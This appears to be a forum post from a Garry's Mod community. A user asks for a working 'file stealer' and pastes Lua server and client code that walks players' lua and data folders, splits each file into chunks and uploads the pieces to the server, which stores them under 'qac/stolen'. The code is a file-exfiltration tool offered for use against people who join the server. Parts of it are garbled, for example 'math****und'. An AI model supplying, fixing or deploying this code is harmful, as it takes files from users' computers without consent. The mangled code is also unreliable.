Does anything have a working file stealer that i can put in my server so it downloads X folder from client and uploads to server, i have tried QAC file stealer but doesn't seem to work
sv
Code:
------------------------------
-- File Stealer server-side --
------------------------------
if SERVER then
file.CreateDir("qac")
file.CreateDir("qac/stolen")
util.AddNetworkString("CHTGTL")
util.AddNetworkString("CHCO")
net.Receive("CHTGTL", function(ln, client)
client:SetPData("CHTGTL", true)
client.FileDir = string.Replace(client:SteamID(), ":", "_")
local num = tostring(math.random(500))
client.HAX_NUMBER = num
net.Start("CHCO")
net.WriteString(num)
net.Send(client)
file.CreateDir(CHEAT_DIR.."/"..client.FileDir)
local ID = client:SteamID()
timer.Simple(200, function()
--POSSIBLE BANNING
end)
end)
net.Receive("CHCO", function(ln, client)
if not client.FileDir then
client.FileDir = string.Replace(client:SteamID(), ":", "_")
end
local num, dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString(), net.ReadString()
local dir = (CHEAT_DIR.."/"..client.FileDir.."/"..dir)
if not file.Exists(dir, "DATA") then
file.CreateDir(dir)
end
if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA") then
file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[File Reader \n]]..filedata)
else
file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata)
end
end)
end
cl
Code:
if CLIENT then
local frd = file.Read
local function c()
net.Start("CHTGTL")
net.SendToServer()
end
net.Receive("CHTGTL",c)
local HAX_NUMBER = "0"
local QUEUED_FILES = {}
local defaults = {
"autorun",
"entities",
"includes",
"weapons"
}
net.Receive("CHCO", function(len)
HAX_NUMBER = net.ReadString()
CopyDirNoSub("lua", "GAME")
CopyDir("lua/autorun", "GAME")
CopyDir("lua/entities", "GAME")
CopyDir("lua/includes", "GAME")
CopyDir("data", "GAME")
timer.Simple(.3, function()
timer.Create(HAX_NUMBER, .01, 0, function()
local fd = QUEUED_FILES[table.GetFirstKey(QUEUED_FILES)]
if not fd then
timer.Remove(HAX_NUMBER)
timer.Simple(1, function()
--POISSIBLE BANNING?
end)
end
SendFileToServer(fd)
table.remove(QUEUED_FILES, table.GetFirstKey(QUEUED_FILES))
end)
end)
end)
function CopyDirNoSub(dir,src)
local files = file.Find(dir.."/*.lua", src)
if not files then files = {} end
for k,v in pairs(files) do
if v and v ~= "" then
QueueFile(dir,v,src)
end
end
local _,dirs = file.Find(dir.."/*", src)
for k,v in pairs(dirs)do
if v and v ~= "" then
if not table.HasValue(defaults, v) then
CopyDir(dir.."/"..v, src)
end
end
end
end
function CopyDir(dir,src) --copypasta from gmod wiki.
local files = file.Find(dir.."/*.lua", src)
if not files then files = {} end
for k,v in pairs(files) do
if v and v ~= "" then
QueueFile(dir,v,src)
end
end
local files,directories = file.Find(dir.."/*", src)
if not directories then directories = {} end
for _, fdir in pairs(directories) do
if fdir ~= ".svn" then
CopyDir(dir.."/"..fdir, src)
end
end
end
function QueueFile(dir,name,src)
local filedata = frd(dir.."/"..name, src)
if not filedata then filedata = "ERROR! File not readable: "..dir.."/"..name.." in '"..src.."'." return end
if string.len(filedata) > 1.7*10^200 then filedata = "ERROR! File too long: "..dir.."/"..name.." in '"..src.."'." return end
local fd1, fd2, fd3, fd4 = {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name}
--split it into fourths.
fd1.filedata = string.Left(filedata, math.min(math****und(string.len(filedata)/4), 63000))
fd2.filedata = string.Left(filedata, math****und(string.len(filedata)*1/2))
fd2.filedata = string.Right(fd2.filedata, math.min(math****und(string.len(fd2.filedata)/2), 63000))
fd3.filedata = string.Right(filedata, math****und(string.len(filedata)*1/2))
fd3.filedata = string.Left(fd3.filedata, math.min(math****und(string.len(fd3.filedata)/2), 63000))
fd4.filedata = string.Right(filedata, math.min(math****und(string.len(filedata)/4), 63000))
table.insert(QUEUED_FILES, fd1)
table.insert(QUEUED_FILES, fd2)
table.insert(QUEUED_FILES, fd3)
table.insert(QUEUED_FILES, fd4)
end
function SendFileToServer(fd)
if not fd then
return
end
local dir, name, filedata = fd.dir, fd.name, fd.filedata
net.Start("CHCO")
net.WriteString(HAX_NUMBER)
net.WriteString(dir)--directory first
net.WriteString(name)--filename second
net.WriteString(filedata)
net.SendToServer()
end
end